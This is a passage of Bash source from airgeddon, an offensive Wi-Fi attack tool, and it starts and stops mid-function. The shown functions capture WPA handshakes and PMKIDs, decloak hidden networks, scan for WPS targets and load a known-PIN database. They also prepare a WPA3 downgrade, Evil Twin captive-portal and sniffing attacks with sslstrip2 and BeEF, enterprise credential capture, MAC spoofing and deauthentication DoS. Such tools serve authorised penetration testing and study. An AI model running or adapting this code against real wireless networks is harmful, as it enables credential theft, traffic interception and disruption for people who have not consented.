Handshake" &> /dev/null fi handshake_capture_check check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid" case "$?" in "0") handshakepath="${default_save_path}" handshakefilename="handshake-${bssid}.cap" handshakepath="${handshakepath}${handshakefilename}" echo language_strings "${language}" 162 "yellow" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "handshake" done cp "${tmpdir}${standardhandshake_filename}" "${enteredpath}" echo language_strings "${language}" 149 "blue" language_strings "${language}" 115 "read" return_to_handshake_pmkid_decloaking_tools_menu=1 ;; "1") echo language_strings "${language}" 146 "red" language_strings "${language}" 115 "read" ;; "2") : ;; esac } #Check if a Handshake is WPA2 function is_wpa2_handshake() { debug_print bash -c "aircrack-ng -a 2 -b \"${2}\" -w \"${1}\" \"${1}\" > /dev/null 2>&1" return $? } #Launch the Decloak window function decloak_window() { debug_print echo language_strings "${language}" 734 "blue" echo language_strings "${language}" 735 "yellow" language_strings "${language}" 115 "read" echo language_strings "${language}" 325 "blue" rm -rf "${tmpdir}decloak"* > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Decloaking\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}decloak ${interface}" "Decloaking" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}decloak ${interface}" processiddecloak="${global_process_pid}" global_process_pid="" else processiddecloak=$! fi } #Launch the Handshake capture window function capture_handshake_window() { debug_print echo language_strings "${language}" 143 "blue" echo language_strings "${language}" 144 "yellow" language_strings "${language}" 115 "read" echo language_strings "${language}" 325 "blue" rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Capturing Handshake\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" "Capturing Handshake" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" processidcapture="${global_process_pid}" global_process_pid="" else processidcapture=$! fi } #Launch enterprise identities capture/certificates analysis window function identities_certificates_capture_window() { debug_print local window_title echo if [ "${1}" = "identities" ]; then language_strings "${language}" 743 "yellow" window_title="Capturing Identities" else language_strings "${language}" 750 "yellow" window_title="Certificates Analysis" fi language_strings "${language}" 115 "read" echo language_strings "${language}" 325 "blue" rm -rf "${tmpdir}identities_certificates"* > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"${window_title}\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}identities_certificates ${interface}" "${window_title}" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}identities_certificates ${interface}" processidenterpriseidentitiescertificatescapture="${global_process_pid}" global_process_pid="" else processidenterpriseidentitiescertificatescapture=$! fi } #Launch the PMKID capture window function launch_pmkid_capture() { debug_print ask_timeout "capture_pmkid" echo language_strings "${language}" 671 "yellow" language_strings "${language}" 115 "read" echo language_strings "${language}" 325 "blue" rm -rf "${tmpdir}pmkid"* > /dev/null 2>&1 if compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_bpf_version}"; then tcpdump -i "${interface}" wlan addr3 "${bssid}" -ddd > "${tmpdir}pmkid.bpf" if [ "${channel}" -gt 14 ]; then hcxdumptool_band_modifier="b" else hcxdumptool_band_modifier="a" fi hcxdumptool_parameters="-c ${channel}${hcxdumptool_band_modifier} --rds=1 --bpf=${tmpdir}pmkid.bpf -w ${tmpdir}pmkid.pcapng" elif compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_filterap_version}"; then rm -rf "${tmpdir}target.txt" > /dev/null 2>&1 echo "${bssid//:}" > "${tmpdir}target.txt" hcxdumptool_parameters="--enable_status=1 --filterlist_ap=${tmpdir}target.txt --filtermode=2 -o ${tmpdir}pmkid.pcapng" else rm -rf "${tmpdir}target.txt" > /dev/null 2>&1 echo "${bssid//:}" > "${tmpdir}target.txt" hcxdumptool_parameters="--enable_status=1 --filterlist=${tmpdir}target.txt --filtermode=2 -o ${tmpdir}pmkid.pcapng" fi recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g1_topright_window} -T \"Capturing PMKID\"" "timeout -s SIGTERM ${timeout_capture_pmkid} hcxdumptool -i ${interface} ${hcxdumptool_parameters}" "Capturing PMKID" "active" wait_for_process "timeout -s SIGTERM ${timeout_capture_pmkid} hcxdumptool -i ${interface} ${hcxdumptool_parameters}" "Capturing PMKID" if hcxpcapngtool -o "${tmpdir}${standardpmkid_filename}" "${tmpdir}pmkid.pcapng" | grep -Eq "PMKID(\(s\))? written" 2> /dev/null; then pmkidpath="${default_save_path}" pmkidfilename="pmkid-${bssid}.txt" pmkidpath="${pmkidpath}${pmkidfilename}" echo language_strings "${language}" 162 "yellow" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "pmkid" done cp "${tmpdir}${standardpmkid_filename}" "${enteredpath}" > /dev/null 2>&1 echo language_strings "${language}" 673 "blue" ask_yesno 684 "yes" if [ "${yesno}" = "y" ]; then if hash tshark 2> /dev/null; then tshark -r "${tmpdir}pmkid.pcapng" -R "(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol && wlan.addr==${bssid})" -2 -w "${tmpdir}pmkid_transformed.cap" -F pcap > /dev/null 2>&1 pmkidcappath="${default_save_path}" pmkidcapfilename="pmkid-${bssid}.cap" pmkidcappath="${pmkidcappath}${pmkidcapfilename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "pmkidcap" done cp "${tmpdir}pmkid_transformed.cap" "${enteredpath}" > /dev/null 2>&1 echo language_strings "${language}" 673 "blue" language_strings "${language}" 115 "read" else echo language_strings "${language}" 685 "red" language_strings "${language}" 115 "read" fi fi else echo language_strings "${language}" 672 "red" language_strings "${language}" 115 "read" fi } #Manage target exploration and parse the output files function explore_for_targets_option() { debug_print echo language_strings "${language}" 103 "title" language_strings "${language}" 65 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi echo language_strings "${language}" 66 "yellow" echo local cypher_filter if [ -n "${1}" ]; then cypher_filter="${1}" case ${cypher_filter} in "WEP") #Only WEP language_strings "${language}" 67 "yellow" ;; "WPA1") #Only WPA including WPA/WPA2 in Mixed mode #Not used yet in airgeddon : ;; "WPA2") #Only WPA2 including WPA/WPA2 and WPA2/WPA3 in Mixed mode #Not used yet in airgeddon : ;; "WPA3") #Only WPA3 including WPA2/WPA3 in Mixed mode language_strings "${language}" 758 "yellow" ;; "WPA") #All, WPA, WPA2 and WPA3 including all Mixed modes if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then language_strings "${language}" 527 "yellow" else language_strings "${language}" 215 "blue" echo language_strings "${language}" 361 "yellow" fi ;; esac cypher_cmd=" --encrypt ${cypher_filter} " else cypher_filter="" cypher_cmd=" " language_strings "${language}" 366 "yellow" fi language_strings "${language}" 115 "read" rm -rf "${tmpdir}nws"* > /dev/null 2>&1 rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then airodump_band_modifier="bg" else airodump_band_modifier="abg" fi recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" "active" wait_for_process "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' "${tmpdir}nws-01.csv" 2> /dev/null) targetline=$((targetline - 1)) head -n "${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}nws.csv" tail -n +"${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}clts.csv" csvline=$(wc -l "${tmpdir}nws.csv" 2> /dev/null | awk '{print $1}') if [ "${csvline}" -le 3 ]; then echo language_strings "${language}" 68 "red" language_strings "${language}" 115 "read" return 1 fi rm -rf "${tmpdir}nws.txt" > /dev/null 2>&1 rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 local i=0 local enterprise_network_counter local pure_wpa3 while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ exp_auth exp_power _ _ _ exp_idlength exp_essid _; do pure_wpa3="" chars_mac=${#exp_mac} if [ "${chars_mac}" -ge 17 ]; then i=$((i + 1)) if [ "${exp_power}" -lt 0 ]; then if [ "${exp_power}" -eq -1 ]; then exp_power=0 else exp_power=$((exp_power + 100)) fi fi exp_power=$(echo "${exp_power}" | awk '{gsub(/ /,""); print}') exp_essid=${exp_essid:1:${exp_idlength}} if [[ ${exp_channel} =~ ${valid_channels_24_and_5_ghz_regexp} ]]; then exp_channel=$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}') else exp_channel=0 fi if [[ "${exp_essid}" = "" ]] || [[ "${exp_channel}" = "-1" ]]; then exp_essid="(Hidden Network)" fi exp_enc=$(echo "${exp_enc}" | awk '{print $1}') if [ -n "${1}" ]; then case ${cypher_filter} in "WEP") #Only WEP echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" ;; "WPA1") #Only WPA including WPA/WPA2 in Mixed mode #Not used yet in airgeddon echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" ;; "WPA2") #Only WPA2 including WPA/WPA2 and WPA2/WPA3 in Mixed mode #Not used yet in airgeddon echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" ;; "WPA3") #Only WPA3 including WPA2/WPA3 in Mixed mode echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" ;; "WPA") #All, WPA, WPA2 and WPA3 including all Mixed modes if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then if [[ "${exp_auth}" =~ MGT ]] || [[ "${exp_auth}" =~ CMAC && ! "${exp_auth}" =~ PSK ]]; then enterprise_network_counter=$((enterprise_network_counter + 1)) echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" fi else [[ ${exp_auth} =~ ^[[:blank:]](SAE)$ ]] && pure_wpa3="${BASH_REMATCH[1]}" if [ "${pure_wpa3}" != "SAE" ]; then echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" fi fi ;; esac else echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt" fi fi done < "${tmpdir}nws.csv" if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]] && [[ "${enterprise_network_counter}" -eq 0 ]]; then echo language_strings "${language}" 612 "red" language_strings "${language}" 115 "read" return 1 fi sort -t "," -d -k 3 "${tmpdir}nws.txt" > "${tmpdir}wnws.txt" select_target } #Manage target exploration only for Access Points with WPS activated. Parse output files and print menu with results function explore_for_wps_targets_option() { debug_print echo language_strings "${language}" 103 "title" language_strings "${language}" 65 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi echo language_strings "${language}" 66 "yellow" echo if ! grep -qe "${interface}" <(echo "${!wash_ifaces_already_set[@]}"); then language_strings "${language}" 353 "blue" set_wash_parameterization language_strings "${language}" 354 "yellow" else language_strings "${language}" 355 "blue" fi wash_band_modifier="" if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 1 ]; then if check_dual_scan_on_wash; then wash_band_modifier=" -2 -5" else ask_yesno 145 "no" if [ "${yesno}" = "y" ]; then wash_band_modifier=" -5" fi fi fi echo language_strings "${language}" 411 "yellow" language_strings "${language}" 115 "read" rm -rf "${tmpdir}wps"* > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" "active" wait_for_process "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier}" "Exploring for WPS targets" readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) local wash_header_found=0 local wash_line_counter=1 for item in "${WASH_PREVIEW[@]}"; do if [[ ${item} =~ -{20} ]]; then wash_start_data_line="${wash_line_counter}" wash_header_found=1 break else wash_line_counter=$((wash_line_counter + 1)) fi done if [ "${wash_header_found}" -eq 0 ]; then echo language_strings "${language}" 417 "red" language_strings "${language}" 115 "read" return 1 fi washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}') if [ "${washlines}" -le "${wash_start_data_line}" ]; then echo language_strings "${language}" 68 "red" language_strings "${language}" 115 "read" return 1 fi clear language_strings "${language}" 104 "title" echo language_strings "${language}" 349 "green" print_large_separator local i=0 local wash_counter=0 declare -A wps_lockeds wps_lockeds[${wash_counter}]="No" while IFS=, read -r expwps_line; do i=$((i + 1)) if [ "${i}" -le "${wash_start_data_line}" ]; then continue else wash_counter=$((wash_counter + 1)) if [[ "${wash_counter}" =~ ^[0-9]+$ ]]; then if [ "${wash_counter}" -le 9 ]; then wpssp1=" " else wpssp1="" fi else wpssp1="" fi expwps_bssid=$(echo "${expwps_line}" | awk '{print $1}') expwps_channel=$(echo "${expwps_line}" | awk '{print $2}') expwps_power=$(echo "${expwps_line}" | awk '{print $3}') expwps_version=$(echo "${expwps_line}" | awk '{print $4}') expwps_locked=$(echo "${expwps_line}" | awk '{print $5}') expwps_essid=$(echo "${expwps_line//[\`\']/}" | sed -E 's/.*[[:space:]]{2,}//') if [[ "${expwps_channel}" =~ ^[0-9]+$ ]]; then if [ "${expwps_channel}" -le 9 ]; then wpssp2=" " if [ "${expwps_channel}" -eq 0 ]; then expwps_channel="-" fi elif [[ "${expwps_channel}" -ge 10 ]] && [[ "${expwps_channel}" -lt 99 ]]; then wpssp2=" " else wpssp2="" fi else wpssp2="" fi if [[ "${expwps_power}" = "" ]] || [[ "${expwps_power}" = "-00" ]]; then expwps_power=0 fi if [[ ${expwps_power} =~ ^-0 ]]; then expwps_power=${expwps_power//0/} fi if [ "${expwps_power}" -lt 0 ]; then if [ "${expwps_power}" -eq -1 ]; then expwps_power=0 else expwps_power=$((expwps_power + 100)) fi fi if [ "${expwps_power}" -le 9 ]; then wpssp4=" " else wpssp4="" fi wash_color="${normal_color}" if [ "${expwps_locked}" = "Yes" ]; then wash_color="${red_color}" wpssp3="" else wpssp3=" " fi wps_network_names["${wash_counter}"]=${expwps_essid} wps_channels["${wash_counter}"]=${expwps_channel} wps_macs["${wash_counter}"]=${expwps_bssid} wps_lockeds["${wash_counter}"]=${expwps_locked} echo -e "${wash_color} ${wpssp1}${wash_counter}) ${expwps_bssid} ${wpssp2}${expwps_channel} ${wpssp4}${expwps_power}% ${expwps_version} ${expwps_locked}${wpssp3} ${expwps_essid}" fi done < <(cat <(head -n 2 "${tmpdir}wps.txt") <(tail -n +3 "${tmpdir}wps.txt" | sort -k3,3n 2> /dev/null)) echo if [ "${wash_counter}" -eq 1 ]; then language_strings "${language}" 70 "yellow" selected_wps_target_network=1 language_strings "${language}" 115 "read" else print_large_separator language_strings "${language}" 3 "green" read -rp "> " selected_wps_target_network fi while [[ ! ${selected_wps_target_network} =~ ^[[:digit:]]+$ ]] || ((selected_wps_target_network < 1 || selected_wps_target_network > wash_counter)) || [[ ${wps_lockeds[${selected_wps_target_network}]} = "Yes" ]]; do if [[ ${selected_wps_target_network} =~ ^[[:digit:]]+$ ]] && ((selected_wps_target_network >= 1 && selected_wps_target_network <= wash_counter)); then if [ "${wps_lockeds[${selected_wps_target_network}]}" = "Yes" ]; then ask_yesno 350 "no" if [ "${yesno}" = "y" ]; then break else echo language_strings "${language}" 3 "green" read -rp "> " selected_wps_target_network continue fi fi fi echo language_strings "${language}" 72 "red" echo language_strings "${language}" 3 "green" read -rp "> " selected_wps_target_network done wps_essid=${wps_network_names[${selected_wps_target_network}]} check_hidden_essid "wps" "verify" wps_channel=${wps_channels[${selected_wps_target_network}]} wps_bssid=${wps_macs[${selected_wps_target_network}]} wps_locked=${wps_lockeds[${selected_wps_target_network}]} enterprise_network_selected=0 personal_network_selected=1 set_personal_enterprise_text } #Create a menu to select target from the parsed data function select_target() { debug_print clear language_strings "${language}" 104 "title" echo language_strings "${language}" 69 "green" print_large_separator local i=0 while IFS=, read -r exp_mac exp_channel exp_power exp_essid exp_enc exp_auth; do i=$((i + 1)) if [ "${i}" -le 9 ]; then sp1=" " else sp1="" fi if [ "${exp_channel}" -le 9 ]; then sp2=" " if [ "${exp_channel}" -eq 0 ]; then exp_channel="-" fi if [ "${exp_channel}" -lt 0 ]; then sp2=" " fi elif [[ "${exp_channel}" -ge 10 ]] && [[ "${exp_channel}" -lt 99 ]]; then sp2=" " else sp2="" fi if [ "${exp_power}" = "" ]; then exp_power=0 fi if [ "${exp_power}" -le 9 ]; then sp4=" " else sp4="" fi airodump_color="${normal_color}" client=$(grep "${exp_mac}" < "${tmpdir}clts.csv") if [ "${client}" != "" ]; then airodump_color="${yellow_color}" client="*" sp5="" else sp5=" " fi enc_length=${#exp_enc} if [ "${enc_length}" -gt 3 ]; then sp6="" elif [ "${enc_length}" -eq 0 ]; then sp6=" " else sp6=" " fi network_names["${i}"]=${exp_essid} channels["${i}"]=${exp_channel} macs["${i}"]=${exp_mac} encs["${i}"]=${exp_enc} types["${i}"]=${exp_auth} echo -e "${airodump_color} ${sp1}${i})${client} ${sp5}${exp_mac} ${sp2}${exp_channel} ${sp4}${exp_power}% ${exp_enc}${sp6} ${exp_essid}" done < "${tmpdir}wnws.txt" echo if [ "${i}" -eq 1 ]; then language_strings "${language}" 70 "yellow" selected_target_network=1 language_strings "${language}" 115 "read" else language_strings "${language}" 71 "yellow" print_large_separator language_strings "${language}" 3 "green" read -rp "> " selected_target_network fi while [[ ! ${selected_target_network} =~ ^[[:digit:]]+$ ]] || ((selected_target_network < 1 || selected_target_network > i)); do echo language_strings "${language}" 72 "red" echo language_strings "${language}" 3 "green" read -rp "> " selected_target_network done essid=${network_names[${selected_target_network}]} check_hidden_essid "normal" "verify" channel=${channels[${selected_target_network}]} bssid=${macs[${selected_target_network}]} enc=${encs[${selected_target_network}]} if [[ "${types[${selected_target_network}]}" =~ MGT ]] || [[ "${types[${selected_target_network}]}" =~ CMAC && ! "${types[${selected_target_network}]}" =~ PSK ]]; then enterprise_network_selected=1 personal_network_selected=0 else enterprise_network_selected=0 personal_network_selected=1 fi set_personal_enterprise_text } #Perform a test to determine if fcs parameter is needed on wash scanning function set_wash_parameterization() { debug_print fcs="" declare -gA wash_ifaces_already_set readarray -t WASH_OUTPUT < <(timeout -s SIGTERM 2 wash -i "${interface}" 2> /dev/null) for item in "${WASH_OUTPUT[@]}"; do if [[ ${item} =~ ^\[\!\].*bad[[:space:]]FCS ]]; then fcs=" -C " break fi done wash_ifaces_already_set[${interface}]=${fcs} } #Check if a type exists in the wps data array function check_if_type_exists_in_wps_data_array() { debug_print [[ -n "${wps_data_array["${1}","${2}"]:+not set}" ]] } #Check if a pin exists in the wps data array function check_if_pin_exists_in_wps_data_array() { debug_print [[ "${wps_data_array["${1}","${2}"]}" =~ (^| )"${3}"( |$) ]] } #Fill data into wps data array function fill_wps_data_array() { debug_print if ! check_if_pin_exists_in_wps_data_array "${1}" "${2}" "${3}"; then if [ "${2}" != "Database" ]; then wps_data_array["${1}","${2}"]="${3}" else if [ "${wps_data_array["${1}","${2}"]}" = "" ]; then wps_data_array["${1}","${2}"]="${3}" else wps_data_array["${1}","${2}"]="${wps_data_array["${1}","${2}"]} ${3}" fi fi fi } #Manage and validate the prerequisites for wps pin database attacks function wps_pin_database_prerequisites() { debug_print set_wps_mac_parameters #shellcheck source=./known_pins.db source "${scriptfolder}${known_pins_dbfile}" echo language_strings "${language}" 384 "blue" echo search_in_pin_database if [ "${bssid_found_in_db}" -eq 1 ]; then if [ "${counter_pins_found}" -eq 1 ]; then language_strings "${language}" 385 "yellow" else language_strings "${language}" 386 "yellow" fi else language_strings "${language}" 387 "yellow" fi if [ "${1}" != "no_attack" ]; then check_and_set_common_algorithms echo language_strings "${language}" 4 "read" fi } #Manage and validate the prerequisites for WPA3 downgrade attack function wpa3_downgrade_prerequisites() { debug_print clear current_menu="wpa3_attacks_menu" language_strings "${language}" 778 "title" print_iface_selected print_all_target_vars print_hint if [[ -z "${mac_spoofing_desired}" ]] || [[ "${mac_spoofing_desired}" -eq 0 ]]; then ask_yesno 419 "no" if [ "${yesno}" = "y" ]; then mac_spoofing_desired=1 fi fi return_to_wpa3_main_menu=1 if [ "${essid}" = "(Hidden Network)" ]; then echo language_strings "${language}" 784 "red" language_strings "${language}" 115 "read" return fi if [ "${is_docker}" -eq 1 ]; then echo language_strings "${language}" 779 "pink" language_strings "${language}" 115 "read" fi region_check if [ "${channel}" -gt 14 ]; then echo if [ "${country_code}" = "00" ]; then language_strings "${language}" 706 "yellow" elif [ "${country_code}" = "99" ]; then language_strings "${language}" 719 "yellow" else language_strings "${language}" 392 "blue" fi fi ask_timeout "wpa3_downgrade" echo language_strings "${language}" 782 "blue" echo language_strings "${language}" 783 "yellow" language_strings "${language}" 115 "read" echo language_strings "${language}" 325 "blue" prepare_wpa3_downgrade_interface exec_wpa3_downgrade_attack } #Manage and validate the prerequisites for Evil Twin and Enterprise attacks function et_prerequisites() { debug_print if [ "${retry_handshake_capture}" -eq 1 ]; then return fi clear if [ -n "${enterprise_mode}" ]; then current_menu="enterprise_attacks_menu" case ${enterprise_mode} in "smooth") language_strings "${language}" 522 "title" ;; "noisy") language_strings "${language}" 523 "title" ;; esac else current_menu="evil_twin_attacks_menu" case ${et_mode} in "et_onlyap") language_strings "${language}" 270 "title" ;; "et_sniffing") language_strings "${language}" 291 "title" ;; "et_sniffing_sslstrip2") language_strings "${language}" 292 "title" ;; "et_sniffing_sslstrip2_beef") language_strings "${language}" 397 "title" ;; "et_captive_portal") language_strings "${language}" 293 "title" ;; esac fi print_iface_selected if [ -n "${enterprise_mode}" ]; then print_all_target_vars else print_et_target_vars print_iface_internet_selected fi if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 512 "blue" fi print_hint echo if [ "${et_mode}" != "et_captive_portal" ]; then language_strings "${language}" 275 "blue" echo language_strings "${language}" 276 "yellow" print_simple_separator ask_yesno 277 "yes" if [ "${yesno}" = "n" ]; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi return fi fi if [[ -z "${mac_spoofing_desired}" ]] || [[ "${mac_spoofing_desired}" -eq 0 ]]; then ask_yesno 419 "no" if [ "${yesno}" = "y" ]; then mac_spoofing_desired=1 fi fi if [ "${et_mode}" = "et_captive_portal" ]; then language_strings "${language}" 315 "yellow" echo language_strings "${language}" 286 "pink" print_simple_separator if [ "${retrying_handshake_capture}" -eq 0 ]; then ask_yesno 321 "no" fi local msg_mode msg_mode="showing_msgs_checking" if [[ "${yesno}" = "n" ]] || [[ "${retrying_handshake_capture}" -eq 1 ]]; then msg_mode="silent" capture_handshake_evil_twin case "$?" in "2") retry_handshake_capture=1 return ;; "1") return_to_et_main_menu=1 return ;; esac else ask_et_handshake_file fi retry_handshake_capture=0 retrying_handshake_capture=0 if ! check_bssid_in_captured_file "${et_handshake}" "${msg_mode}" "also_pmkid"; then return_to_et_main_menu=1 return fi echo language_strings "${language}" 28 "blue" echo language_strings "${language}" 26 "blue" echo language_strings "${language}" 31 "blue" else if ! ask_bssid; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi return fi if ! ask_channel; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 fi return else if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 fi return fi fi ask_essid "noverify" fi if [ -n "${enterprise_mode}" ]; then if ! validate_network_type "enterprise"; then return_to_enterprise_main_menu=1 return fi else if ! validate_network_type "personal"; then return_to_et_main_menu=1 return fi fi if [ -n "${enterprise_mode}" ]; then manage_enterprise_log elif [ "${et_mode}" = "et_sniffing" ]; then manage_ettercap_log elif [[ "${et_mode}" = "et_sniffing_sslstrip2" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]]; then manage_bettercap_log elif [ "${et_mode}" = "et_captive_portal" ]; then manage_captive_portal_log language_strings "${language}" 115 "read" if set_captive_portal_language; then language_strings "${language}" 319 "blue" ask_yesno 710 "no" if [ "${yesno}" = "y" ]; then advanced_captive_portal=1 fi prepare_captive_portal_data echo language_strings "${language}" 711 "blue" else return fi fi if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi if [ "${is_docker}" -eq 1 ]; then echo if [ -n "${enterprise_mode}" ]; then language_strings "${language}" 528 "pink" else language_strings "${language}" 420 "pink" fi language_strings "${language}" 115 "read" fi region_check if [ "${channel}" -gt 14 ]; then echo if [ "${country_code}" = "00" ]; then language_strings "${language}" 706 "yellow" elif [ "${country_code}" = "99" ]; then language_strings "${language}" 719 "yellow" else language_strings "${language}" 392 "blue" fi fi if hash arping-th 2> /dev/null; then right_arping=1 right_arping_command="arping-th" elif hash arping 2> /dev/null; then if check_right_arping; then right_arping=1 else echo language_strings "${language}" 722 "yellow" language_strings "${language}" 115 "read" fi fi echo language_strings "${language}" 296 "yellow" language_strings "${language}" 115 "read" prepare_et_interface rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 echo "${channel}" > "${tmpdir}${channelfile}" if [ -n "${enterprise_mode}" ]; then exec_enterprise_attack else case ${et_mode} in "et_onlyap") exec_et_onlyap_attack ;; "et_sniffing") exec_et_sniffing_attack ;; "et_sniffing_sslstrip2") exec_et_sniffing_sslstrip2_attack ;; "et_sniffing_sslstrip2_beef") exec_et_sniffing_sslstrip2_beef_attack ;; "et_captive_portal") exec_et_captive_portal_attack ;; esac fi } #Manage the Handshake file requirement for captive portal Evil Twin attack function ask_et_handshake_file() { debug_print echo readpath=0 if [[ -z "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then language_strings "${language}" 312 "blue" readpath=1 elif [[ -z "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then language_strings "${language}" 313 "blue" ask_yesno 187 "yes" if [ "${yesno}" = "n" ]; then readpath=1 fi elif [[ -n "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then language_strings "${language}" 151 "blue" ask_yesno 187 "yes" if [ "${yesno}" = "y" ]; then et_handshake="${enteredpath}" else readpath=1 fi elif [[ -n "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then language_strings "${language}" 313 "blue" ask_yesno 187 "yes" if [ "${yesno}" = "n" ]; then readpath=1 fi fi if [ "${readpath}" -eq 1 ]; then validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "ethandshake" done fi } #DoS Evil Twin and Enterprise attacks menu function et_dos_menu() { debug_print if [[ -n "${return_to_et_main_menu}" ]] && [[ "${return_to_et_main_menu}" -eq 1 ]]; then return fi if [[ -n "${return_to_enterprise_main_menu}" ]] && [[ "${return_to_enterprise_main_menu}" -eq 1 ]]; then return fi clear if [ "${1}" = "enterprise" ]; then language_strings "${language}" 520 "title" else language_strings "${language}" 265 "title" fi current_menu="et_dos_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator if [ "${1}" = "enterprise" ]; then language_strings "${language}" 521 else language_strings "${language}" 266 fi print_simple_separator language_strings "${language}" 139 mdk_attack_dependencies[@] language_strings "${language}" 140 aireplay_attack_dependencies[@] language_strings "${language}" 141 mdk_attack_dependencies[@] print_hint read -rp "> " et_dos_option case ${et_dos_option} in 0) if [ "${1}" != "enterprise" ]; then return_to_et_main_menu_from_beef=1 fi return ;; 1) if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else et_dos_attack="${mdk_command}" echo language_strings "${language}" 509 "yellow" if ! dos_pursuit_mode_et_handler; then return fi if [[ "${et_mode}" = "et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then et_prerequisites else if detect_internet_interface; then et_prerequisites else return fi fi fi ;; 2) if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else et_dos_attack="Aireplay" echo language_strings "${language}" 509 "yellow" if ! dos_pursuit_mode_et_handler; then return fi if [[ "${et_mode}" = 